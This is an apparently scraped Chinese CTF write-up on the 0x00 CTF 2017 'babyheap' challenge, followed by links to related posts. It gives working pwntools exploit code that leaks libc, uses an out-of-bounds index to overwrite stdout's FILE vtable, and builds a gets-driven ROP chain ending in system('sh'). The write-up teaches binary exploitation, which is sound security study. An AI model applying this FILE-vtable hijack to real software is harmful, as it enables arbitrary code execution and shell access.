Pwn with File结构体之利用 vtable 进行 ROP
前言
本文以 0x00 CTF 2017
的 babyheap
为例介绍下通过修改 vtable
进行 rop
的操作 (:-_-
漏洞分析
首先查看一下程序开启的安全措施
18:07 haclh@ubuntu:0x00ctf $ checksec ./babyheap
[*] '/home/haclh/workplace/0x00ctf/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
没开 PIE
。
接下来看看程序
对程序功能做个介绍
程序一开始需要用户往
bss
段的name
缓冲区输入内容add
函数: 增加一个user
, 其实就是根据需要的大小使用malloc
分配内存, 然后读入username
.edit
函数: 根据输入的index
, 取出指针, 往里面写入内容。index
没有校验。ban
函数:free
掉一个user
.changename
函数: 修改bss
段的name
输入为
5
时, 会打印read
函数的地址, 这样就可以拿到libc
的基地址了。
来看看 edit
函数
直接使用我们输入的数字作为数组索引,在 users
数组中取到 obj
指针,然后使用 strlen
获取输入的长度,最后调用 read
往 obj
里面写内容。
如果我们输入的数字大于 users
数组的长度就可以读取 users
数组 外面的数据作为 read
读取数据的指针了。
下面来看看 bss
段的布局
我们可以看到 users
后面就是 name
缓冲区, name
的内容我们可控, 于是利用 edit
函数里面的 越界读 漏洞,我们就可以伪造 obj
指针, 然后在 通过 read
读取数据时 就可以往 obj
指针处写东西, 任意地址写
漏洞利用
控制rip
整理一下现在拥有的能力。
- 通过 选项5 可以
leak
出libc
的地址 - 通过
edit
和changename
可以实现任意地址写
题目给的 libc
是 2.23
,没有虚表保护,于是选择改 stdout
的虚表指针,这样我们就可以伪造 stdout
的虚表,然后在调用虚表的时候,就可以控制 rip
了。
我们知道 stdout
是 _IO_FILE_plus
类型,大小为 0xe0
, 最后 8
个字节是 vtable
(即 stdout+0xd8
处), 类型是struct _IO_jump_t
。
pwndbg> p/x sizeof(struct _IO_FILE_plus )
$8 = 0xe0
pwndbg> p ((struct _IO_FILE_plus*)stdout)->vtable
$9 = (const struct _IO_jump_t *) 0x7ffff7dd06e0 <_IO_file_jumps>
pwndbg> p/x sizeof(struct _IO_jump_t )
$10 = 0xa8
pwndbg>
我们不能 leak
堆的地址,伪造虚表只能在 name
缓冲区内伪造,name
缓冲区的大小为 0x28
, 而 虚表(struct _IO_jump_t
)的大小 为 0xa8
, 所以是不能伪造整个虚表的, 不过我们只需要把虚表中接下来会被调用的项的指针改了就行了 。有点绕,直接调试看。
首先使用选项5的函数, leak
出 libc
的基地址
# 首先利用 gift 泄露 libc
choice(5)
p.recvuntil("your gift:\n")
libc.address = int(p.recvline().strip()) - libc.symbols['read']
stdout_vtable_addr = libc.symbols['_IO_2_1_stdout_'] + 0xd8 # IO_2_1_stdout->vtable 的地址
然后我们在 name
缓冲区内布置好内容,让 越界读 使用
# 在 name buf 布置数据
choice(4)
payload = ""
payload += p64(stdout_vtable_addr) # 修改虚表指针
payload += cyclic(0x28 - len(payload))
p.sendafter("enter new name:", payload)
数据布置好了以后,利用 edit
里面的越界读漏洞,进行任意地址写, 修改 IO_2_1_stdout->vtable
为 name
缓冲区的地址
bss_name = 0x6020A0 # bss name 缓冲区的地址
# 利用 越界 获取指针的漏洞进行任意地址写
choice(2)
p.sendlineafter("2. insecure edit", "2")
sleep(0.1)
p.sendlineafter("index: ", '12') # index 12 ---> 会从 name 缓冲区开始处取8字节作为指针
sleep(0.1)
payload = p64(bss_name) # 修改 vtable 的值, 把 vtable 改成 bss_name
p.sendafter("new username: ", payload[:6]) # 修改的数据, 把虚表改到 bss .
使用 ida
可以看到 users
数组的起始地址为 0x0602040
, name
缓冲区的地址 为 0x006020a0
。 所以
(0x006020a0-0x00602040)/8 = 12
这样一来就会把 name
缓冲区开始 的 8
个字节作为 user
指针对其进行内容修改。而在之前我们已经布局好 name
,使得 name
缓冲区开始 的 8
个字节 为 IO_2_1_stdout->vtable
的地址,这样在后面设置 new username
时 就可以修改 IO_2_1_stdout->vtable
了。
然后输入 new username
为 p64(bss_name)
前 6
字节 , 就可以修改 IO_2_1_stdout->vtable
为 name
缓冲区的地址。
只发送前 6 个字节的原因是
len = strlen(obj);
长度是用
strlen
获取的,IO_2_1_stdout->vtable
原来的值是libc
的地址开始的6
个字节是非\x00
, 所以strlen
会返回6
。
接下来使用到 stdout
时,就会用到伪造的 虚表 (name
缓冲区)
调试看看, 会发现 crash
了
这里没有破坏栈的数据,所以栈回溯应该是正确的,所以看看栈回溯
可以看到 call [$rax + 0x38]
, 然后 $rax
是 name
缓冲区的地址
所以现在 $rax 的值我们可控, 只需要使得 rax + 0x38 也可控即可
$rax = bss_name - 0x18
$rax + 0x38 ---> bss_name + 0x20
这样一来就可以控制 rip
了。
getshell
思路分析
可以控制 rip
后, 同时还有 libc
的地址 one_gadget
可以试一试,不过这东西看运气,在这个题就不能用。这里我们使用 rop
来搞。
要进行 rop
首先得控制栈的数据,现在 rax
是我们可控的,一般的思路就是利用 xchg rax,rsp
之类的 gadget
来迁移栈到我们可控的地方,这里采取另外一种方式, 利用 libc
的代码片段 ,直接往栈里面写数据, 布置 rop 链。
首先来分析下要用到的 gadget
位于 authnone_create-0x35
处
.text:000000000012B82B mov rdi, rsp ; gadget start
.text:000000000012B82E call qword ptr [rax+20h]
.text:000000000012B831 mov cs:dword_3C8D9C, eax
.text:000000000012B837 mov rax, [rsp+38h+var_30]
.text:000000000012B83C mov rax, [rax+38h]
.text:000000000012B840 test rax, rax
.text:000000000012B843 jz short loc_12B84A
.text:000000000012B845 mov rdi, rsp
.text:000000000012B848 call rax
.text:000000000012B84A
.text:000000000012B84A loc_12B84A: ; CODE XREF: sub_12B7A0+A3↑j
.text:000000000012B84A add rsp, 30h
.text:000000000012B84E pop rbx
.text:000000000012B84F retn
可以看到 首先
rdi = rsp
call qword ptr [rax+20h]
这样只要然后 rax+0x20
为 gets
函数的地址,就可以往 栈里面写数据了。
开始以为 gets 函数会读到 \x00 终止,后来发现不是, 函数定义
gets 函数从流中读取字符串,直到出现换行符或读到EOF为止,最后加上NULL作为字符串结束
EOF
貌似是-1
,所以我们可以读入\x00
,而且输入数据的长度还是我们可控的 (通过控制\n
)
此时已经可以覆盖返回地址了,下面就是让 上面的代码块 执行完 gets 后进入 loc_12B84A , 分支。
执行完 call qword ptr [rax+20h]
后,会从 esp+8
处取出 8
字节放到 rax
,然后判断 rax+0x38
处存放的值是不是 0
, 如果为 0
, 就可以进入 loc_12B84A
进行 rop
了 .
.text:000000000012B831 mov cs:dword_3C8D9C, eax
.text:000000000012B837 mov rax, [rsp+38h+var_30]
.text:000000000012B83C mov rax, [rax+38h]
.text:000000000012B840 test rax, rax
.text:000000000012B843 jz short loc_12B84A
exp分析
整理一下,分析分析最终的 exp
首先 leak
处 libc
的地址,获取到后面需要的一些 gadget
的地址
然后往 name
缓冲区布置数据
# 在 name buf 布置数据
choice(4)
payload = ""
payload += p64(stdout_vtable_addr) # 修改虚表指针
payload += p64(libc.symbols['gets']) # rip for call qword ptr [rax+20h]
payload += "b" * 0x10 # padding
payload += p64(gadget) # mov rdi, rsp ; gadget start 的地址
payload += cyclic(0x28 - len(payload))
p.sendafter("enter new name:", payload)
然后往触发漏洞,修改 _IO_2_1_stdout_->vtable
为 bss_name - 0x18
# 利用 越界 获取指针的漏洞进行任意地址写
choice(2)
p.sendlineafter("2. insecure edit", "2")
sleep(0.1)
p.sendlineafter("index: ", '12') # index 12 ---> 会从 name 开始处取8字节作为指针
sleep(0.1)
payload = p64(bss_name - 0x18) # padding for let
p.sendafter("new username: ", payload[:6]) # 修改的数据, 把虚表改到 bss .
info("_IO_2_1_stdout_->vtable({})---> bss_name".format(hex(stdout_vtable_addr)))
# gdb.attach(p)
pause()
这就使得 接下来 call [eax + 0x38]
会变成 call [name+0x20]
, 也就是 进入 gadget
。
会调用 call qword ptr [rax+20h]
,其实就是 call [name+0x8]
, 之前已经设置为 gets
函数的地址,所以会调用 gets
pop_rdi_ret = 0x0000000000400f13
# zero addr
zero_addr = 0x6020c8 # 该位置的值为 p64(0)
info("zero_addr: " + hex(zero_addr))
payload = 'a' * 8
payload += p64(zero_addr - 0x38)
payload += cyclic(40)
payload += p64(pop_rdi_ret)
payload += p64(sh_addr)
payload += p64(libc.symbols['system'])
p.sendline(payload)
然后通过 gets
往栈里面布置数据, 把 rsp+8
设置为 zero_addr
(该位置的值为 p64(0)
),然后 rop
调用 system("sh")
即可
总结
authnone_create-0x35
处的这个 gadget
还是比较有趣的,以后能控制 rax 处的内容 时可以选择用这种方式, 比如可以修改 虚表指针时。
参考
https://github.com/SPRITZ-Research-Group/ctf-writeups/tree/master/0x00ctf-2017/pwn/babyheap-200
Pwn with File结构体之利用 vtable 进行 ROP的更多相关文章
- Pwn with File结构体(一)
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 利用 FILE 结构体进行攻击,在现在的 ctf 比赛中也经常出现 ...
- Pwn with File结构体(四)
前言 前面几篇文章说道,glibc 2.24 对 vtable 做了检测,导致我们不能通过伪造 vtable 来执行代码.今天逛 twitter 时看到了一篇通过绕过 对vtable 的检测 来执行代 ...
- Pwn with File结构体(三)
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 前面介绍了几种 File 结构体的攻击方式,其中包括修改 vtab ...
- Pwn with File结构体(二)
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 最新版的 libc 中会对 vtable 检查,所以之前的攻击方式 ...
- 刨根问底系列(2)——stdin、stdout、FILE结构体、缓冲区和fflush的理解
stdin.stdout.FILE结构体.缓冲区和fflush理解 因为之前调试代码时, printf输出的字符串总是被截断了输出(先输出部分, 再输出剩余的), 当时调试了很久, 才知道问题所在, ...
- Linux_Struct file()结构体
struct file结构体定义在/linux/include/linux/fs.h(Linux 2.6.11内核)中,其原型是:struct file { /* * f ...
- Linux--struct file结构体
struct file(file结构体): struct file结构体定义在include/linux/fs.h中定义.文件结构体代表一个打开的文件,系统中的每个打开的文件在内核空间都有一个关联的 ...
- 2018.5.2 file结构体
f_flags,File Status Flag f_pos,表示当前读写位置 f_count,表示引用计数(Reference Count): dup.fork等系统调用会导致多个文件描述符指向同一 ...
- fd与FILE结构体
文件描述符 fd 概念:文件描述符在形式上是一个非负整数.实际上,它是一个索引值,指向内核为每一个进程所维护的该进程打开文件的记录表.当程序打开一个现有文件或者创建一个新文件时,内核向进程返回一个文件 ...
随机推荐
- 对Deeplung检测+两样性分类的一个整合
整体的流程分为以下几步: 读取原始数据(.mhd文件)——> 生成mask ——> 对数据预处理 ——> 执行检测 ——> 对检测结果进行分类 ——>可视化 懒一点,不贴 ...
- (转)AWK函数
http://wiki.jikexueyuan.com/project/awk/built-in-functions.html-------内置函数 http://wiki.jikexueyuan.c ...
- 2018春招-今日头条笔试题-第三题(python)
题目描述:2018春招-今日头条笔试题5题(后附大佬答案-c++版) 解题思路: 本题的做法最重要的应该是如何拼出‘1234567890’,对于输入表达试获得对应的结果利用python内置函数eval ...
- Tomcat 访问manager app报403 解决方案(虚拟机可以正常使用,外面访问报错)
虚拟机中Tomcat启动后,可以访问项目(虚拟机里面和外面都可以).虚拟机中能够正常进入manager app进行热部署工作,但是在外面能访问tomcat首页,点击manager app报403错误. ...
- python笔记09-----装饰器,生成器,迭代器
1.装饰器 定义:本质是函数,(装饰其他函数)就是为其他函数添加附加功能 原则:1.不能修改被装饰的函数的源代码 2.不能修改被装饰的函数的调用方式 实现装饰器的知识储备: 1. 函数即“变 ...
- #!/usr/bin/python和#!/usr/bin/env 的区别
#!/usr/bin/python 通常在一个.py文件开头都会有这个语句 它只在Linux系统下生效,意思是当作为可执行文件运行时调用的解释器的位置上面代码的意思是调用/usr/bin/下的Pyth ...
- C#的OpenFileDialog的简单用法
1.OpenFileDialog 中文名字叫做 打开文件对话框 OpenFileDialog的效果如图: private void btnSelectFile_Click(object sender, ...
- [笔记] Python字典
好记忆不如烂笔头: #__author:Mifen #date: 2018/11/28 #不可变类型:整型,字符串,浮点型(不等于小数,但包括小数),元组(只读,不可修改) #可变类型:列表,字典(键 ...
- Apache POI导出excel
public String exportXls(HttpServletRequest request, HttpServletResponse response) { try { HSSFWorkbo ...
- ruby 数据sql操作
ActiveRecord ActiveRecord 是 Rails 的 ORM 元件,負責與資料庫溝通,讓我們可以用物件導向的語法操作資料庫.在”打造 CRUD 應用程式”一章中提到的對應概念如下: ...